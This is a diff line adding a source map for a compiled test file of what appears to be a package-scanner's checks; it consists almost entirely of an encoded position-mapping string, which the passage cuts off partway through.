+ {"version":3,"file":"package.test.js","sourceRoot":"","sources":["../../../src/scanner/checks/package.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAE9C,OAAO,EACL,qBAAqB,EACrB,cAAc,EACd,qBAAqB,EACrB,sBAAsB,EACtB,YAAY,EACZ,eAAe,EACf,0BAA0B,GAC3B,MAAM,cAAc,CAAC;AAEtB,uBAAuB;AAEvB,SAAS,eAAe,CAAC,OAAe;IACtC,OAAO,IAAI,CAAC,SAAS,CAAC,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;AAC1C,CAAC;AAED,SAAS,YAAY,CACnB,kBAA0B,EAC1B,oBAA2C,EAAE;IAE7C,MAAM,QAAQ,GAAiB;QAC7B,IAAI,EAAE,gBAAgB;QACtB,SAAS,EAAE,MAAM;QACjB,OAAO,EAAE,OAAO;QAChB,GAAG,iBAAiB;KACrB,CAAC;IAEF,MAAM,KAAK,GAAG,IAAI,GAAG,EAAkB,CAAC;IACxC,KAAK,CAAC,GAAG,CAAC,cAAc,EAAE,MAAM,CAAC,IAAI,CAAC,eAAe,CAAC,kBAAkB,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IAEpF,OAAO,EAAE,QAAQ,EAAE,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,CAAC;AAChD,CAAC;AAED,SAAS,WAAW,CAAC,oBAA8B,EAAE;IACnD,OAAO;QACL,SAAS,EAAE,EAAE;QACb,MAAM,EAAE,IAAI,GAAG,EAAE;QACjB,OAAO,EAAE,IAAI,GAAG,EAAE;QAClB,GAAG,EAAE,IAAI,GAAG,EAAE;QACd,oBAAoB,EAAE,IAAI,GAAG,CAAC,iBAAiB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,CAAC;QAC5E,OAAO,EAAE,IAAI,GAAG,EAAE;QAClB,mBAAmB,EAAE,IAAI,GAAG,EAAE;KAC/B,CAAC;AACJ,CAAC;AAED,2BAA2B;AAE3B,QAAQ,CAAC,gBAAgB,EAAE,GAAG,EAAE;IAC9B,MAAM,SAAS,GAAqB;QAClC;YACE,EAAE,EAAE,qBAAqB;YACzB,IAAI,EAAE,qBAAqB;YAC3B,MAAM,EAAE,eAAe;YACvB,QAAQ,EAAE,MAAM;SACjB;QACD;YACE,EAAE,EAAE,gBAAgB;YACpB,IAAI,EAAE,qBAAqB;YAC3B,MAAM,EAAE,kDAAkD;YAC1D,QAAQ,EAAE,MAAM;SACjB;QACD;YACE,EAAE,EAAE,UAAU;YACd,IAAI,EAAE,wBAAwB;YAC9B,MAAM,EAAE,kCAAkC;YAC1C,QAAQ,EAAE,WAAW;SACtB;KACF,CAAC;IAEF,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,WAAW;YACjB,SAAS,EAAE,WAAW;YACtB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,iBAAiB,CAAC,CAAC;QAChD,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;IACjD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oCAAoC,EAAE,GAAG,EAAE;QAC5C,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,gBAAgB;YACtB,SAAS,EAAE,cAAc;YACzB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,CAAC,gBAAgB,CAAC,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;IAC3E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,sDAAsD,EAAE,GAAG,EAAE;QAC9D,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,cAAc;YACpB,SAAS,EAAE,QAAQ;YACnB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,CAAC,gBAAgB,CAAC,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;IACrE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gCAAgC,EAAE,GAAG,EAAE;QACxC,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,iBAAiB;YACvB,SAAS,EAAE,mBAAmB;YAC9B,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4CAA4C,EAAE,GAAG,EAAE;QACpD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,iBAAiB;YACvB,SAAS,EAAE,WAAW;YACtB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;QAClD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,WAAW;YACjB,SAAS,EAAE,WAAW;YACtB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,iBAAiB,CAAC,CAAC;IAClD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,gBAAgB;YACtB,SAAS,EAAE,cAAc;YACzB,OAAO,EAAE,OAAO;SACjB,CAAC;QAEF,MAAM,QAAQ,GAAG,cAAc,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACrD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,CAAC,gBAAgB,CAAC,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;IAC3E,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,0BAA0B;AAE1B,QAAQ,CAAC,uBAAuB,EAAE,GAAG,EAAE;IACrC,EAAE,CAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,MAAM;YACZ,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,gBAAgB,EAAE,CAAC,GAAG,CAAC;SACxB,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,QAAQ,CAAC,CAAC;QACjD,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,qBAAqB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACxE,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC7C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;QAClD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,MAAM;YACZ,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,gBAAgB,EAAE,CAAC,mBAAmB,CAAC;SACxC,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,QAAQ,CAAC,CAAC;QACjD,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,oBAAoB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACvE,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;IAC/C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wCAAwC,EAAE,GAAG,EAAE;QAChD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,MAAM;YACZ,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,gBAAgB,EAAE,CAAC,wBAAwB,EAAE,uBAAuB,CAAC;SACtE,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,QAAQ,CAAC,CAAC;QACjD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,iBAAiB,EAAE,GAAG,EAAE;IAC/B,EAAE,CAAC,6CAA6C,EAAE,GAAG,EAAE;QACrD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,YAAY;YAClB,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,IAAI,EAAE,gBAAgB;YACtB,WAAW,EAAE;gBACX,MAAM,EAAE,CAAC,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,YAAY,EAAE,IAAI,EAAE,oBAAoB,EAAE,CAAC;aAChF;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,CAAC;QAC3C,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,iBAAiB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACpE,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC7C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,YAAY;YAClB,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,IAAI,EAAE,gBAAgB;YACtB,WAAW,EAAE;gBACX,UAAU,EAAE,CAAC,EAAE,EAAE,EAAE,gBAAgB,EAAE,KAAK,EAAE,gBAAgB,EAAE,IAAI,EAAE,cAAc,EAAE,CAAC;aACtF;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,CAAC;QAC3C,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,iBAAiB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACtE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,uCAAuC,EAAE,GAAG,EAAE;QAC/C,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,YAAY;YAClB,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,WAAW,EAAE;gBACX,MAAM,EAAE,CAAC,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,YAAY,EAAE,IAAI,EAAE,oBAAoB,EAAE,CAAC;aAChF;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,CAAC;QAC3C,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iDAAiD,EAAE,GAAG,EAAE;QACzD,MAAM,QAAQ,GAAiB;YAC7B,IAAI,EAAE,gBAAgB;YACtB,SAAS,EAAE,MAAM;YACjB,OAAO,EAAE,OAAO;YAChB,IAAI,EAAE,gBAAgB;YACtB,WAAW,EAAE;gBACX,QAAQ,EAAE,CAAC,EAAE,OAAO,EAAE,cAAc,EAAE,KAAK,EAAE,cAAc,EAAE,CAAC;aAC/D;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,eAAe,CAAC,QAAQ,CAAC,CAAC;QAC3C,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,4BAA4B;AAE5B,QAAQ,CAAC,wBAAwB,EAAE,GAAG,EAAE;IACtC,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,OAAO,EAAE,QAAQ;gBACjB,cAAc,EAAE,QAAQ;aACzB;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,sBAAsB,CAAC,WAAW,EAAE,IAAI,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC;QAEhF,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,uBAAuB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1E,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACnE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,SAAS,CAAC,KAAK,cAAc,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACtF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,sEAAsE,EAAE,GAAG,EAAE;QAC9E,MAAM,WAAW,GAAG;YAClB,eAAe,EAAE;gBACf,IAAI,EAAE,SAAS;gBACf,cAAc,EAAE,QAAQ;aACzB;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,sBAAsB,CAAC,WAAW,EAAE,IAAI,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC;QAEhF,6EAA6E;QAC7E,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qBAAqB,EAAE,GAAG,EAAE;QAC7B,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,cAAc,EAAE,QAAQ;aACzB;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,sBAAsB,CAAC,WAAW,EAAE,IAAI,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC;QAEhF,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4CAA4C,EAAE,GAAG,EAAE;QACpD,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,OAAO,EAAE,QAAQ;gBACjB,MAAM,EAAE,QAAQ;aACjB;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,sBAAsB,CAAC,WAAW,EAAE,IAAI,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC;QAEhF,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,4BAA4B,EAAE,GAAG,EAAE;IAC1C,EAAE,CAAC,0BAA0B,EAAE,GAAG,EAAE;QAClC,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,MAAM,EAAE,QAAQ,EAAE,sBAAsB;aACzC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,mBAAmB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACtE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC/D,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,YAAY,CAAC,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACnF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,QAAQ,EAAE,QAAQ,EAAE,yBAAyB;aAC9C;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,YAAY,CAAC,KAAK,WAAW,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACtF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qCAAqC,EAAE,GAAG,EAAE;QAC7C,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,MAAM,EAAE,QAAQ,EAAE,gCAAgC;aACnD;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,YAAY,CAAC,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAClF,MAAM,OAAO,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,mBAAmB,CAAC,CAAC;QACnE,MAAM,QAAQ,GAAG,OAAO,EAAE,QAAQ,EAAE,CAAC,eAAe,CAAC,CAAC;QACtD,MAAM,CAAC,OAAO,QAAQ,KAAK,QAAQ,IAAI,QAAQ,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACnE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mCAAmC,EAAE,GAAG,EAAE;QAC3C,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,OAAO,EAAE,QAAQ;gBACjB,MAAM,EAAE,QAAQ;gBAChB,KAAK,EAAE,SAAS;aACjB;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,IAAI,EAAE,QAAQ,EAAE,oCAAoC;gBACpD,IAAI,EAAE,QAAQ,EAAE,gCAAgC;gBAChD,IAAI,EAAE,QAAQ,EAAE,+BAA+B;gBAC/C,KAAK,EAAE,QAAQ,EAAE,2BAA2B;gBAC5C,KAAK,EAAE,QAAQ,EAAE,6BAA6B;gBAC9C,KAAK,EAAE,QAAQ,EAAE,kBAAkB;gBACnC,KAAK,EAAE,QAAQ,EAAE,gBAAgB;aAClC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oDAAoD,EAAE,GAAG,EAAE;QAC5D,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,MAAM,EAAE,QAAQ,EAAE,gDAAgD;gBAClE,MAAM,EAAE,QAAQ,EAAE,gBAAgB;aACnC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yCAAyC,EAAE,GAAG,EAAE;QACjD,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,IAAI,EAAE,SAAS,EAAE,oBAAoB;gBACrC,EAAE,EAAE,QAAQ,EAAE,kBAAkB;aACjC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4CAA4C,EAAE,GAAG,EAAE;QACpD,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,MAAM,EAAE,QAAQ,EAAE,oBAAoB;gBACtC,IAAI,EAAE,QAAQ,EAAE,qCAAqC;aACtD;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,KAAK,EAAE,QAAQ,EAAE,8BAA8B;gBAC/C,MAAM,EAAE,QAAQ,EAAE,qCAAqC;gBACvD,MAAM,EAAE,SAAS,EAAE,gCAAgC;aACpD;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,MAAM,WAAW,GAAG;YAClB,YAAY,EAAE;gBACZ,MAAM,EAAE,QAAQ,EAAE,aAAa;gBAC/B,GAAG,EAAE,QAAQ,EAAE,iBAAiB;gBAChC,IAAI,EAAE,QAAQ,EAAE,wBAAwB;gBACxC,KAAK,EAAE,QAAQ,EAAE,4BAA4B;gBAC7C,MAAM,EAAE,QAAQ,EAAE,kBAAkB;aACrC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,0BAA0B,CAAC,WAAW,CAAC,CAAC;QAEzD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,uBAAuB,EAAE,GAAG,EAAE;IACrC,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,WAAW,EAAE,kBAAkB;aAChC;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,WAAW,CAAC,CAAC;QAEpD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,kBAAkB,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACrE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACjE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,QAAQ,CAAC,KAAK,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACpF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2BAA2B,EAAE,GAAG,EAAE;QACnC,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,UAAU,EAAE,eAAe;aAC5B;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,WAAW,CAAC,CAAC;QAEpD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,QAAQ,CAAC,KAAK,YAAY,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACnF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qCAAqC,EAAE,GAAG,EAAE;QAC7C,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,WAAW,EAAE,wCAAwC;aACtD;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,WAAW,CAAC,CAAC;QAEpD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QACjC,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,4BAA4B,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC/E,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACrE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,mCAAmC,EAAE,GAAG,EAAE;QAC3C,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,WAAW,EAAE,iDAAiD;aAC/D;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,WAAW,CAAC,CAAC;QAEpD,MAAM,gBAAgB,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,4BAA4B,CAAC,CAAC;QACrF,MAAM,CAAC,gBAAgB,CAAC,CAAC,WAAW,EAAE,CAAC;QACvC,MAAM,CAAC,gBAAgB,EAAE,QAAQ,EAAE,CAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,gBAAgB,CAAC,CAAC;IACzE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oCAAoC,EAAE,GAAG,EAAE;QAC5C,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,WAAW,EAAE,wEAAwE;aACtF;SACF,CAAC;QAEF,MAAM,QAAQ,GAAG,qBAAqB,CAAC,WAAW,CAAC,CAAC;QAEpD,MAAM,gBAAgB,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,4BAA4B,CAAC,CAAC;QACrF,MAAM,CAAC,gBAAgB,CAAC,CAAC,WAAW,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,+BAA+B,EAAE,GAAG,EAAE;QACvC,MAAM,WAAW,GAAG;YAClB,OAAO,EAAE;gBACP,KAAK,EAAE,KAAK;gBACZ,IAAI,EAAE,MAAM;gBACZ,KAAK,